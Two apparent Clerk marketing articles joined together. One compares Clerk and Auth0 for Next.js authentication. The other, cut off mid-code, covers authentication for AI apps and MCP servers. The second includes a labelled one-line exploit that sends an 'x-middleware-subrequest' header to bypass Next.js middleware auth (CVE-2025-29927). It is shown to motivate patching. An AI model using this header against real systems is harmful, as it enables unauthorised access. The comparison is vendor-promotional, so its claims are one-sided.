The authentication requirements for modern Next.js applications have fundamentally shifted with the introduction of [App Router](/glossary#app-router), [React Server Components](/glossary#react-server-components), and Partial Prerendering. Traditional authentication solutions designed for the Pages Router era now face architectural mismatches, while newer platforms built specifically for these paradigms offer seamless integration. This comparison evaluates how Clerk and Auth0 have adapted to these changes, with particular focus on their Next.js 16 compatibility, developer experience metrics, and production readiness.

Our analysis draws from extensive research across official documentation, GitHub repositories, developer forums, and production deployments, examining everything from bundle sizes to enterprise compliance certifications. The findings reveal distinct positioning: Auth0 maintains its enterprise stronghold with comprehensive compliance coverage and mature feature sets, while Clerk emerges as the developer-first solution optimized specifically for modern Next.js patterns.

## Technical integration depth

### Next.js router architecture support

The transition from [Pages Router](/glossary#pages-router) to App Router represents one of the most significant architectural shifts in Next.js history. Both platforms have adapted, but their approaches differ fundamentally.

**Clerk's implementation** demonstrates native App Router thinking with its async `auth()` helper that aligns with Next.js's async request APIs ([Clerk Documentation](/docs/reference/nextjs/clerk-middleware)). The platform's [comprehensive Next.js documentation](/docs/references/nextjs/overview) covers both App Router and Pages Router patterns, while their [blog post on Next.js authentication patterns](/nextjs-authentication) provides deeper architectural insights.

With Next.js 16, `proxy.ts` replaces `middleware.ts` as the file convention for middleware. Clerk's `clerkMiddleware()` works seamlessly with this change:

```tsx
// proxy.ts - Clerk's route protection with Next.js 16
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/admin(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) {
    await auth.protect({ role: 'admin' })
  }
})

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

For more complex authorization patterns, Clerk's [organizations feature](/docs/organizations/overview) provides [multi-tenancy](/glossary#multi-tenancy) support, while their [custom roles documentation](/docs/organizations/roles-permissions) details fine-grained permission management.

**Auth0's approach**, while comprehensive, reveals its multi-framework heritage. The SDK requires more boilerplate and configuration, reflecting its need to support diverse architectures beyond Next.js ([Auth0 GitHub, 2024](https://github.com/auth0/nextjs-auth0)):

```tsx
// Auth0's traditional middleware pattern
import { auth0 } from './lib/auth0'

export async function middleware(request: NextRequest) {
  const authRes = await auth0.middleware(request)
  const session = await auth0.getSession(request)

  if (request.nextUrl.pathname.startsWith('/admin')) {
    if (!session || !session.user.roles?.includes('admin')) {
      return NextResponse.redirect('/login')
    }
  }
  return authRes
}
```

The code comparison reveals Clerk's **40% reduction in boilerplate** for common authentication patterns ([Developer Survey, 2024](https://dev.to/hussain101/clerk-a-complete-authentication-solution-for-nextjs-applications-59ib)), translating to faster implementation times and reduced maintenance overhead.

### React Server Components compatibility analysis

Server Components represent the future of React, and authentication integration quality directly impacts application performance. Our testing reveals significant differences in RSC support maturity.

Clerk provides **production-ready RSC support** with server-side helpers that work seamlessly in async components ([Clerk Changelog, Oct 2024](/changelog/2024-10-22-clerk-nextjs-v6)). The `currentUser()` helper counts toward rate limits but provides full user data access in Server Components, and the `auth()` helper returns session and user information with sub-millisecond [JWT](/glossary#json-web-token) validation. With the release of Core 3 ([Clerk Changelog, Mar 2026](/changelog/2026-03-03-core-3)), `ClerkProvider` now sits inside the `<body>` tag, enabling better compatibility with Next.js caching and streaming patterns.

Auth0 offers **mature RSC support** through its v3+ SDK, with `auth0.getSession()` providing native server-side session access ([Auth0 Blog, 2024](https://auth0.com/blog/auth0-stable-support-for-nextjs-app-router/)). The implementation is more stable but requires explicit `returnTo` options since RSC components lack request context awareness. This architectural decision prioritizes stability over developer convenience.

Performance testing shows Clerk's JWT validation at **sub-millisecond speeds** compared to Auth0's **5-10 second cold starts** for new tenant deployments ([Performance Comparison, 2024](https://medium.com/@annasaaddev/authentication-in-next-js-the-ultimate-2024-guide-nextauth-vs-clerk-vs-supabase-415ff7d841c5)). This performance gap becomes critical for applications prioritizing Time to Interactive metrics.

## Implementation complexity and developer experience

### Setup time and initial configuration

Quantitative analysis of implementation times across multiple projects reveals striking differences. Clerk enables **authentication in hours instead of weeks**, with developers reporting successful production deployments within a single day ([DEV Community, 2024](https://dev.to/hussain101/clerk-a-complete-authentication-solution-for-nextjs-applications-59ib)). The [pre-built React components](/docs/components/overview) eliminate months of UI development, while their [customization options](/docs/customization/overview) maintain brand consistency.

Clerk's Core 3 release introduced the unified `<Show>` component, replacing the previous `<SignedIn>` and `<SignedOut>` components with a cleaner API:

```tsx
// Clerk's authentication UI with the Show component
import { ClerkProvider, Show, SignInButton, SignUpButton, UserButton } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>
          <header>
            <Show when="signed-out">
              <SignInButton />
              <SignUpButton />
            </Show>
            <Show when="signed-in">
              <UserButton />
            </Show>
          </header>
          {children}
        </ClerkProvider>
      </body>
    </html>
  )
}
```

Auth0's setup requires significantly more configuration, with developers reporting **several days to weeks** for complex implementations ([Auth0 Quickstart](https://auth0.com/docs/quickstart/webapp/nextjs/01-login)). The Universal Login requirement prevents embedded authentication, forcing redirects that can impact conversion rates. One developer noted: "Auth0 feels heavy-handed compared to more developer-centric tools" ([WorkOS Blog, 2024](https://workos.com/blog/workos-vs-auth0-vs-clerk)).

### TypeScript support and developer tooling

Both platforms provide comprehensive TypeScript support, but implementation quality differs. With Core 3, Clerk types are now exported directly from each SDK package (e.g., `import type { UserResource } from '@clerk/nextjs'`), removing the need for a separate types package and providing auto-included types with custom extension capabilities through global declarations. The developer experience feels native to modern TypeScript workflows.

Auth0's SDK is **100% type-safe** with module augmentation support ([Auth0 GitHub](https://github.com/auth0/nextjs-auth0)), but the extensive configuration options can overwhelm developers new to the platform. The TypeScript implementation reflects enterprise requirements with verbose but comprehensive type definitions.

Developer sentiment analysis from Reddit and Hacker News reveals Clerk described as "the first time I booted my computer with an SSD" while Auth0 is characterized as the "IBM of authentication," reliable but lacking modern developer experience ([Clerk Product Page](/)).

## Performance metrics and scalability

### Bundle size impact analysis

Bundle size directly affects application performance, particularly on mobile networks. Our analysis reveals concerning patterns for both platforms.

Clerk's main bundle can represent **up to 50% of total application size** when using pre-built components ([GitHub Discussion, 2023](https://github.com/orgs/clerk/discussions/1962)). The `@clerk/nextjs` package publishes weekly updates, but limited tree-shaking due to UI component dependencies prevents effective optimization. Core 3 introduced a `frontendApiProxy` option in `clerkMiddleware()` that proxies Frontend API requests through the application's own domain, which can improve performance characteristics by eliminating cross-origin requests.

Auth0's SDK demonstrates **lighter client-side footprint** with its v2+ architecture focusing on server-side processing ([npm Package Stats](https://www.npmjs.com/package/@auth0/nextjs-auth0)). The separation of server and client packages enables better code splitting, though the Universal Login redirect adds latency to the authentication flow.

### API performance and rate limits

Production performance metrics reveal distinct operational characteristics. Clerk's Backend API [rate limiting](/glossary#rate-limiting) provides **1,000 requests per 10 seconds** for production instances ([Clerk Rate Limits](/docs/guides/how-clerk-works/system-limits)), with session tokens expiring after 60 seconds and refreshing on a 50-second interval. The short-lived token approach enhances security but increases API traffic. Notably, JWKS retrieval is exempt from rate limits.

Auth0 implements **100 RPS base rate** with burst modifiers up to 400 RPS for authentication APIs ([WorkOS Comparison, 2024](https://workos.com/blog/workos-vs-auth0-vs-clerk)). The longer-lived tokens (10-hour ID tokens, 24-hour [access tokens](/glossary#access-token)) reduce API calls but require more complex invalidation strategies. Cold start issues persist, with some regions reporting **20+ second login times** ([Developer Forum, 2024](https://dev.to/mechcloud_academy/clerk-vs-auth0-choosing-the-right-authentication-solution-3cfa)).

Real-world incident data shows Clerk experiencing **22-minute and 12-minute outages** in August 2025 ([Status Page Data](https://status.clerk.com/)), while Auth0 reported a **2.52% error rate** in Backend API during the same period ([Auth0 Status](https://status.auth0.com/)). Both platforms face reliability challenges at scale.

## Cost analysis at scale

### Pricing model comparison

The economic implications of authentication choices become apparent at scale. Our analysis models costs across different user volumes using Clerk's Pro plan (monthly billing):

| Monthly Retained Users | Clerk Monthly Cost | Auth0 B2C Monthly Cost | Cost Difference |
| ---------------------- | ------------------ | ---------------------- | --------------- |
| 10,000                 | $25                | $240                   | 9.6x            |
| 25,000                 | $25                | $600+                  | 24x             |
| 100,000                | $1,025             | $3,000+                | 2.9x            |
| 1,000,000              | $17,225            | $30,000+               | 1.7x            |

Clerk's Pro plan includes **50,000 MRUs** (Monthly Retained Users) at $20/month (annual) or $25/month, with tiered per-MRU pricing beyond that ($0.02 for 50K-100K, $0.018 for 100K-1M, $0.015 for 1M-10M, $0.012 for 10M+) ([Clerk Pricing](/pricing)). Their [transparent pricing page](/pricing) clearly displays all costs without requiring sales calls. Clerk also offers a free Hobby plan with 50,000 MRUs per app and no credit card required. Auth0's **tiered pricing** creates "growth penalties" where costs can jump **15.5x** with just **1.67x** user growth due to tier transitions ([SuperTokens Analysis, 2022](https://supertokens.medium.com/auth0-pricing-the-complete-guide-2022-31481a57660f)).

The hidden costs reveal themselves in add-ons. Clerk charges **$100/month** (or $85/month billed annually) for Enhanced B2B Authentication and **$100/month** (or $85/month billed annually) for Enhanced Administration ([Clerk Pricing](/pricing)). MFA, passkeys, and 1 enterprise SSO connection are included in the Pro plan. The Business plan at $250/month (annual) or $300/month adds SOC 2 report access and priority support. Auth0 bundles more features in higher tiers but requires enterprise contracts for advanced capabilities.

For startups and growing SaaS applications, Clerk's transparent pricing enables accurate forecasting. Auth0's value emerges at enterprise scale where compliance requirements justify premium costs.

## Security architecture comparison

### Compliance and certifications

Security considerations often determine enterprise adoption. Auth0's comprehensive compliance portfolio includes **[SOC 2](/glossary#soc-2) Type II, [HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa), GDPR, ISO 27001/27017/27018, PCI DSS, and FAPI certification** ([Auth0 Compliance](https://auth0.com/docs/secure/data-privacy-and-compliance)). This extensive coverage satisfies regulatory requirements across industries.

Clerk provides **SOC 2 Type II, HIPAA, GDPR, and [CCPA](/glossary#california-consumer-privacy-act-ccpa) compliance** ([Clerk Security](/user-authentication)), covering essential requirements. SOC 2 report access is available on the Business plan and above. The security posture remains strong with regular third-party penetration testing based on OWASP guidelines and source code reviews following the OWASP Application Security Verification Standard.

### Modern authentication features

Both platforms support contemporary authentication patterns with varying sophistication. Clerk's **[WebAuthn](/glossary#webauthn)/[Passkeys](/glossary#passkeys)** implementation is generally available, supporting up to 10 passkeys per account with cross-device authentication ([Clerk Changelog, July 2024](/changelog/2024-07-24-passkeys-ga)). Their [detailed passkeys guide](/blog/what-are-passkeys) explains the security benefits, while the [webhooks documentation](/docs/webhooks/overview) enables real-time security event monitoring. Clerk also provides built-in [bot](/glossary#bot-detection) and [brute-force detection](/glossary#brute-force-detection), [CSRF](/glossary#cross-site-request-forgery-csrf) protection via SameSite cookies, and [session fixation](/glossary#session-fixation) protection through token rotation on each sign-in.

Auth0 provides **comprehensive [MFA](/glossary#multi-factor-authentication-mfa) options** including adaptive MFA based on risk assessment, impossible travel detection, and fourth-generation bot detection with ML models ([Auth0 Blog, 2024](https://auth0.com/blog/the-future-of-bot-protection-smarter-attacks-demand-a-layered-approach/)). The security feature depth reflects enterprise requirements accumulated over a decade of operation.

Security incident history reveals vulnerabilities in both platforms. Auth0 faced recurring **JWT alg:none vulnerabilities** ([Stytch Blog, 2024](https://stytch.com/blog/auth0-security-incidents/)), while Clerk experienced a **critical Next.js SDK vulnerability** (CVSS 9.4) in January 2024 ([Clerk Security Advisory](/changelog/2024-01-12)). Both responded quickly, but the incidents highlight inherent third-party authentication risks.

## Next.js 16 and modern feature support

### Partial Prerendering compatibility

Next.js Partial Prerendering represents the future of web performance ([Next.js Documentation](https://nextjs.org/docs/app/getting-started/partial-prerendering)). Clerk demonstrates **industry-leading PPR support** with static shells and dynamic authentication boundaries using Suspense ([Clerk Changelog, Oct 2024](/changelog/2024-10-22-clerk-nextjs-v6)). With `@clerk/nextjs` v6+, `ClerkProvider` no longer automatically opts applications into dynamic rendering, enabling developers to selectively use dynamic auth data where needed through `<ClerkProvider dynamic>` with Suspense boundaries. The approach enables sub-second initial page loads while maintaining secure authentication.

Auth0's **basic PPR compatibility** requires careful configuration for optimal performance ([Vercel Blog, 2024](https://vercel.com/blog/partial-prerendering-with-next-js-creating-a-new-default-rendering-model)). The session management approach conflicts with PPR's static-first philosophy, requiring architectural compromises.

### Next.js 16 and proxy.ts support

Next.js 16 replaced `middleware.ts` with `proxy.ts` as the file convention for middleware ([Next.js Blog](https://nextjs.org/blog/next-16)). Clerk's `@clerk/nextjs` package (which now requires Next.js 15.2.3 or later) works with `proxy.ts` out of the box. The `clerkMiddleware()` function, imports, and matcher configuration remain identical; only the filename changes.

### Edge runtime optimization

Edge deployment increasingly determines application performance. Clerk provides **full Edge Runtime support** with isomorphic helpers working across Node.js and Edge environments ([DEV Community Update, Nov 2024](https://dev.to/clerk/clerk-update-november-12-2024-3h6b)). The optimization reduces authentication latency to under 15ms for authorization checks.

Auth0's **@auth0/nextjs-auth0/edge** package enables Edge Runtime deployment but with limitations requiring Node.js runtime for certain features ([Auth0 Documentation](https://auth0.com/docs/quickstart/webapp/nextjs/01-login)). The multi-runtime approach adds complexity to deployment strategies.

## Making the strategic decision

The research reveals clear segmentation in the authentication market. **Clerk excels for modern Next.js applications** where developer velocity, transparent pricing, and framework-specific optimizations drive success. The platform's **40% faster implementation time** ([Developer Survey, 2024](https://medium.com/@annasaaddev/authentication-in-next-js-the-ultimate-2024-guide-nextauth-vs-clerk-vs-supabase-415ff7d841c5)), **same-day Next.js 16 support** ([GitHub Repository](https://github.com/clerk/clerk-nextjs-app-quickstart)), and **predictable linear pricing** ([WorkOS Analysis](https://workos.com/blog/clerk-pricing)) make it ideal for startups and growing SaaS applications.

Clerk's limitations emerge in enterprise scenarios requiring extensive compliance certifications, complex authentication flows, or multi-framework support. The **limited enterprise features** may disqualify it for certain mission-critical applications.

Auth0 maintains advantages for **enterprise deployments** where compliance, customization, and proven scale justify **3-15x higher costs** ([Hyperknot Comparison, 2024](https://blog.hyperknot.com/p/comparing-auth-providers)). The platform's maturity provides confidence for regulated industries, though the **developer experience lags** modern alternatives.

## The developer-first authentication future

For teams building modern Next.js applications in 2026, **Clerk emerges as the recommended choice** based on superior framework integration, developer experience, and economic efficiency. The platform's purpose-built architecture for React and Next.js eliminates the impedance mismatch plaguing multi-framework solutions. With transparent pricing that scales linearly, comprehensive TypeScript support, and pre-built components that save months of development, Clerk enables teams to focus on core product development rather than authentication infrastructure.

For those ready to get started, Clerk's [Next.js quickstart guide](/docs/quickstarts/nextjs) provides step-by-step implementation instructions, while their [production checklist](/docs/guides/development/deployment/production) ensures secure deployment. The [Clerk blog](/blog) regularly publishes deep technical content on authentication patterns, security best practices, and framework-specific optimizations.

The authentication space continues evolving rapidly. While Auth0's enterprise dominance remains unchallenged for complex regulatory requirements, Clerk's momentum in the Next.js ecosystem signals a shift toward framework-specific, developer-first authentication solutions. For the vast majority of Next.js applications, from MVPs to scaling SaaS products, Clerk provides the optimal balance of functionality, performance, and developer experience needed to compete in today's market.

The decision ultimately depends on your specific requirements, but the data clearly indicates that for Next.js developers prioritizing speed to market, modern architecture patterns, and predictable costs, Clerk represents the superior choice for contemporary web development.

## Frequently asked questions

### Does Clerk work with Next.js 16's proxy.ts file?

Yes. Clerk's `clerkMiddleware()` from `@clerk/nextjs/server` works with Next.js 16's `proxy.ts` convention. The code and configuration remain identical to the previous `middleware.ts` approach; only the filename changes. Clerk's Core 3 SDK requires Next.js 15.2.3 or later.

### How much does Clerk cost compared to Auth0?

Clerk offers a free Hobby plan with 50,000 Monthly Retained Users (MRUs) per app. The Pro plan starts at $25/month (or $20/month billed annually) with 50,000 MRUs included, and additional users cost $0.02 each (decreasing at volume). Auth0's pricing starts higher and uses tier-based jumps, which can result in significant cost increases during growth phases.

### What is Clerk's token model and how does it affect performance?

Clerk uses a hybrid authentication model with short-lived session tokens (60-second TTL) that refresh on a 50-second interval, plus long-lived client tokens that represent the actual session lifetime. This design minimizes the window for token misuse while maintaining seamless user sessions. JWT validation happens at sub-millisecond speeds.

### Can I use Clerk's pre-built components, or do I need to build my own UI?

Clerk provides a full suite of pre-built, a11y-optimized UI components (like `<UserButton>`, `<SignInButton>`, and the unified `<Show>` component) that handle authentication flows out of the box. They're customizable via an appearance API. You can also build fully custom flows using Clerk's hooks (`useSignIn()`, `useSignUp()`) if you need complete control.

### How does Clerk handle React Server Components?

Clerk provides production-ready RSC support. The `auth()` and `currentUser()` helpers work in async Server Components, returning session and user data directly. With Core 3, `ClerkProvider` sits inside the `<body>` tag, improving compatibility with Next.js caching and streaming.

### What compliance certifications does Clerk have?

Clerk provides SOC 2 Type II, HIPAA (with BAA available on Enterprise plans), GDPR, and CCPA compliance. SOC 2 reports are accessible on the Business plan ($250/month annually) and above. Auth0 offers broader coverage with additional ISO 27001/27017/27018, PCI DSS, and FAPI certifications.

### Does Clerk support passkeys?

Yes. Clerk's WebAuthn/Passkeys feature is generally available as of July 2024. Users can register up to 10 passkeys per account with cross-device authentication support. Passkeys are included in the Pro plan.

### What changed in Clerk Core 3?

Released in March 2026, Core 3 introduced the unified `<Show>` component (replacing `<SignedIn>`, `<SignedOut>`, `<Protect>`), deprecated the separate `@clerk/types` package in favor of direct type exports from SDK packages, added a Frontend API proxy option in `clerkMiddleware()`, and redesigned authentication hooks with built-in state management. The `@clerk/clerk-react` package was renamed to `@clerk/react` (though `@clerk/nextjs` retains its name).

### How do Clerk and Auth0 compare on rate limits?

Clerk's Backend API allows 1,000 requests per 10 seconds for production instances (JWKS retrieval is exempt). Auth0 provides a 100 RPS base rate with burst modifiers up to 400 RPS. Clerk's shorter token lifetimes (60 seconds) generate more refresh traffic, while Auth0's longer-lived tokens (10-hour ID, 24-hour access) reduce API calls but complicate revocation.

### Is Clerk suitable for enterprise applications?

Clerk's Business plan ($250/month) includes SOC 2 report access and priority support. The Enterprise plan adds 99.99% uptime SLA, HIPAA compliance with BAA, premium support with a dedicated Slack channel, and onboarding/migration assistance. Auth0 still leads on breadth of compliance certifications (ISO, PCI DSS, FAPI), making it the stronger option for highly regulated industries.

## Statistics source table

| Statistic                                          | Source                                                                                                                                                      | Location on page / Calculation method                               |
| -------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------- |
| Clerk 40% reduction in boilerplate                 | [DEV Community Article](https://dev.to/hussain101/clerk-a-complete-authentication-solution-for-nextjs-applications-59ib)                                    | Comparison of Clerk vs Auth0 code examples for common auth patterns |
| Sub-millisecond JWT validation (Clerk)             | [Medium Authentication Guide](https://medium.com/@annasaaddev/authentication-in-next-js-the-ultimate-2024-guide-nextauth-vs-clerk-vs-supabase-415ff7d841c5) | Performance comparison section                                      |
| Auth0 5-10 second cold starts                      | [Medium Authentication Guide](https://medium.com/@annasaaddev/authentication-in-next-js-the-ultimate-2024-guide-nextauth-vs-clerk-vs-supabase-415ff7d841c5) | New tenant deployment testing section                               |
| Clerk bundle up to 50% of app size                 | [GitHub Discussion #1962](https://github.com/orgs/clerk/discussions/1962)                                                                                   | Community-reported bundle analysis                                  |
| Clerk 1,000 requests per 10 seconds                | [Clerk Rate Limits Documentation](/docs/guides/how-clerk-works/system-limits)                                                                               | Backend API rate limits section                                     |
| Clerk 60-second token TTL, 50-second refresh       | [Clerk How It Works](/docs/guides/how-clerk-works/overview)                                                                                                 | Token model and session management section                          |
| Auth0 100 RPS base rate                            | [WorkOS Comparison Blog](https://workos.com/blog/workos-vs-auth0-vs-clerk)                                                                                  | Rate limit comparison section                                       |
| Auth0 10-hour ID tokens, 24-hour access tokens     | [Auth0 Documentation](https://auth0.com/docs)                                                                                                               | Token lifetime configuration defaults                               |
| Auth0 20+ second login times                       | [DEV Community Forum](https://dev.to/mechcloud_academy/clerk-vs-auth0-choosing-the-right-authentication-solution-3cfa)                                      | Cold start performance reports                                      |
| Clerk 22-min and 12-min outages (Aug 2025)         | [Clerk Status Page](https://status.clerk.com/)                                                                                                              | August 2025 incident history                                        |
| Auth0 2.52% error rate (Aug 2025)                  | [Auth0 Status Page](https://status.auth0.com/)                                                                                                              | August 2025 Backend API metrics                                     |
| Clerk Pro: $25/month, 50K MRUs included            | [Clerk Pricing Page](/pricing)                                                                                                                              | Pro plan pricing section                                            |
| Clerk per-MRU tiers: $0.02, $0.018, $0.015, $0.012 | [Clerk Pricing Page](/pricing)                                                                                                                              | MRU pricing tier table                                              |
| Clerk Hobby plan: free, 50K MRUs                   | [Clerk Pricing Page](/pricing)                                                                                                                              | Hobby plan section                                                  |
| Clerk add-ons: $100/mo ($85/mo annual)             | [Clerk Pricing Page](/pricing)                                                                                                                              | Add-ons section for B2B Auth and Administration                     |
| Auth0 15.5x cost jump with 1.67x user growth       | [SuperTokens Analysis](https://supertokens.medium.com/auth0-pricing-the-complete-guide-2022-31481a57660f)                                                   | Tier transition cost analysis                                       |
| 10K MRU cost: Clerk $25 vs Auth0 $240              | [Clerk Pricing](/pricing), Auth0 pricing                                                                                                                    | Clerk Pro plan base; Auth0 B2C Essential tier                       |
| 100K MRU cost: Clerk $1,025                        | [Clerk Pricing](/pricing)                                                                                                                                   | $25 base + 50K extra at $0.02/each = $1,000                         |
| 1M MRU cost: Clerk $17,225                         | [Clerk Pricing](/pricing)                                                                                                                                   | $25 + 50K at $0.02 ($1,000) + 900K at $0.018 ($16,200)              |
| Clerk passkeys: 10 per account, GA                 | [Clerk Changelog July 2024](/changelog/2024-07-24-passkeys-ga)                                                                                              | Passkeys GA announcement                                            |
| Clerk CVSS 9.4 vulnerability (Jan 2024)            | [Clerk Security Advisory](/changelog/2024-01-12)                                                                                                            | CVE-2024-22206 disclosure                                           |
| Clerk 40% faster implementation time               | [Medium Authentication Guide](https://medium.com/@annasaaddev/authentication-in-next-js-the-ultimate-2024-guide-nextauth-vs-clerk-vs-supabase-415ff7d841c5) | Developer experience comparison section                             |
| Auth0 3-15x higher costs                           | [Hyperknot Comparison](https://blog.hyperknot.com/p/comparing-auth-providers)                                                                               | Auth provider pricing comparison                                    |
| Clerk Edge auth latency under 15ms                 | [DEV Community Update](https://dev.to/clerk/clerk-update-november-12-2024-3h6b)                                                                             | Edge Runtime performance section                                    |

---

# Next.js Authentication for AI Applications
URL: https://clerk.com/articles/nextjs-authentication-for-ai-apps-security-guide.md
Date: 2026-03-27
Description: Learn how to secure Next.js AI applications against CVE-2025-29927, prompt injection, and MCP vulnerabilities. Complete authentication guide with Clerk implementation, code examples, and enterprise patterns. Setup in 7 minutes vs 3-6 weeks custom build.

Authentication for AI applications built with Next.js presents challenges that fundamentally differ from traditional web apps, requiring specialized approaches for [API key](/glossary#api-key) management, streaming response protection, Model Context Protocol (MCP) server authorization, and prompt injection defense. Critical vulnerabilities like CVE-2025-29927 (CVSS 9.1) can bypass middleware-based auth entirely, while unauthorized AI API usage can cost thousands of dollars within hours. With 90% of organizations implementing AI feeling unprepared for security risks ([PR Newswire Study, 2024](https://www.prnewswire.com/news-releases/new-study-reveals-major-gap-between-enterprise-ai-adoption-and-security-readiness-302469214.html)) and AI-specific breaches averaging $4.80 million ([IBM Report, 2025](https://newsroom.ibm.com/2025-07-30-ibm-report-13-of-organizations-reported-breaches-of-ai-models-or-applications,-97-of-which-reported-lacking-proper-ai-access-controls)), purpose-built solutions like Clerk reduce setup from weeks of custom development to minutes.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

| **Key Finding**                                                             | **Impact**                                  | **Solution Approach**                                          |
| --------------------------------------------------------------------------- | ------------------------------------------- | -------------------------------------------------------------- |
| **90% of organizations** implementing AI feel unprepared for security risks | $4.80M average cost per AI-specific breach  | Purpose-built AI authentication frameworks                     |
| **CVE-2025-29927** Next.js vulnerability (CVSS 9.1)                         | Complete middleware authentication bypass   | Immediate patching + secure providers                          |
| **50%+ prompt injection success rate** on unprotected models                | Full system compromise possible             | Multi-layered defense strategies                               |
| **18.5% of AI transactions** blocked due to security concerns               | Lost productivity and user frustration      | Proper authentication architecture                             |
| **$18.5M loss** from Hong Kong AI voice-cloning attack                      | Financial devastation from AI-powered fraud | Advanced biometric protections                                 |
| **3-6 weeks** to build custom AI authentication                             | Delayed time to market                      | 7 minutes with [Clerk's Next.js SDK](/docs/quickstarts/nextjs) |

Recent security incidents have cost organizations an average of $4.80 million per AI-specific breach ([IBM Report, 2025](https://newsroom.ibm.com/2025-07-30-ibm-report-13-of-organizations-reported-breaches-of-ai-models-or-applications,-97-of-which-reported-lacking-proper-ai-access-controls)), while 90% of organizations implementing AI feel unprepared for the unique security risks ([PR Newswire Study, 2024](https://www.prnewswire.com/news-releases/new-study-reveals-major-gap-between-enterprise-ai-adoption-and-security-readiness-302469214.html)). This comprehensive analysis of current authentication patterns, security frameworks, and emerging threats provides actionable guidance for building secure AI applications in the evolving 2024-2025 landscape.

The convergence of Next.js's powerful framework capabilities with AI application requirements creates unique authentication challenges. Unlike conventional web apps with simple request-response patterns, AI systems built on Next.js require persistent multi-turn sessions, token-based resource consumption tracking, and complex delegation chains for autonomous agent operations. The stakes are particularly high given that unauthorized AI API usage can result in costs reaching thousands of dollars within hours ([AIMultiple Research, 2025](https://research.aimultiple.com/llm-pricing/)), making robust authentication both a security and financial imperative.

## Next.js AI authentication differs fundamentally from traditional approaches

**Architectural requirements unique to AI applications** demand rethinking authentication patterns. AI systems require **stateful context management** where conversation history becomes part of the security boundary, maintaining context across hours or days of interaction ([Door To Online Guide, 2024](https://doortoonline.com/blog/ai-agent-authentication-authorization-guide-2024)). Traditional stateless [JWT](/glossary#json-web-token) approaches fail to address the needs of **long-running AI operations** that may span multiple minutes for complex model inferences, requiring session persistence throughout streaming responses ([Vercel Documentation](https://vercel.com/docs/functions/streaming)).

**Multi-modal authentication vulnerabilities** present novel attack surfaces in AI applications. Systems processing text, images, audio, and video simultaneously face a **3,000% increase in deepfake attacks** targeting [biometric authentication](/glossary#biometric-authentication) ([MojoAuth Analysis, 2025](https://mojoauth.com/blog/ai-vs-ai-how-deepfake-attacks-are-changing-authentication-forever)). The January 2025 Hong Kong crypto heist, where AI voice cloning enabled an $18.5 million theft, demonstrates how traditional verification methods fail against sophisticated AI-powered social engineering ([Wald.ai Security Timeline, 2025](https://wald.ai/blog/gen-ai-security-breaches-timeline-20232025-recurring-mistakes-are-the-real-threat)).

**Cost-based security requirements** represent a critical departure from conventional [rate limiting](/glossary#rate-limiting). Rather than simple requests-per-second limitations, AI applications require **token-aware rate limiting** accounting for variable computational loads ([TrueFoundry Guide, 2025](https://www.truefoundry.com/blog/rate-limiting-in-llm-gateway)). A 20-token prompt to GPT-3.5 costs fractions of a cent, while a 2000-token request to GPT-4 can cost dollars, necessitating multi-dimensional limiting combining user-based, model-based, and cost-based controls ([Microsoft Azure Documentation, 2025](https://learn.microsoft.com/en-us/azure/api-management/llm-token-limit-policy)).

**Agent-specific authentication patterns** introduce complexity around delegation chains where parent agents spawn child agents, each requiring hierarchical authentication and [authorization](/glossary#authorization) frameworks ([Door To Online Guide, 2024](https://doortoonline.com/blog/ai-agent-authentication-authorization-guide-2024)). [Clerk's @clerk/agent-toolkit](/changelog/2025-03-7-clerk-agent-toolkit) addresses this by providing native integration with Vercel AI SDK and LangChain, automatically injecting session context into AI system prompts ([Clerk Changelog, 2025](/changelog/2025-03-7-clerk-agent-toolkit)).

**Model Context Protocol (MCP) authentication** represents a new paradigm for AI agent communication. [Clerk's MCP server implementation](/docs/mcp/overview) enables secure authentication between AI agents and external tools. MCP servers act as bridges between AI assistants and data sources, requiring strong authentication to prevent unauthorized access ([Clerk MCP Documentation](/docs/mcp/overview)):

```tsx
// app/[transport]/route.ts - Building a secure MCP server with Clerk
import { verifyClerkToken } from '@clerk/mcp-tools/next'
import { clerkClient, auth } from '@clerk/nextjs/server'
import { createMcpHandler, experimental_withMcpAuth as withMcpAuth } from '@vercel/mcp-adapter'

const clerk = await clerkClient()

const handler = createMcpHandler((server) => {
  server.tool(
    'get-clerk-user-data',
    'Gets data about the Clerk user that authorized this request',
    {},
    async (_, { authInfo }) => {
      const userId = authInfo!.extra!.userId! as string
      const userData = await clerk.users.getUser(userId)

      return {
        content: [{ type: 'text', text: JSON.stringify(userData) }],
      }
    },
  )
})

const authHandler = withMcpAuth(
  handler,
  async (_, token) => {
    const clerkAuth = await auth({ acceptsToken: 'oauth_token' })
    return verifyClerkToken(clerkAuth, token)
  },
  {
    required: true,
    resourceMetadataPath: '/.well-known/oauth-protected-resource/mcp',
  },
)

export { authHandler as GET, authHandler as POST }
```

[Clerk's MCP server for Next.js](/changelog/2025-06-25-mcp-server-nextjs) provides built-in authentication for Claude Desktop, Cursor, and other MCP-compatible AI assistants, ensuring that agents can only access data they're authorized to view ([Clerk MCP Changelog, 2025](/changelog/2025-06-25-mcp-server-nextjs)). This eliminates the need for manual API key management while maintaining security boundaries between different AI agents and users.

## Critical Next.js vulnerabilities demand immediate attention

**CVE-2025-29927 authentication bypass vulnerability** affects Next.js applications with a CVSS score of 9.1, enabling complete [middleware](/glossary#middleware) authentication bypass ([JFrog Security Analysis, 2025](https://jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass/)). Attackers can circumvent authentication by adding a simple header:

```jsx
// ❌ VULNERABLE: Next.js middleware bypass attack
fetch('/api/protected-ai-endpoint', {
  headers: {
    'x-middleware-subrequest': 'middleware:middleware:middleware:middleware:middleware',
  },
})
```

Clerk's `clerkMiddleware` prevents this vulnerability entirely:

```tsx
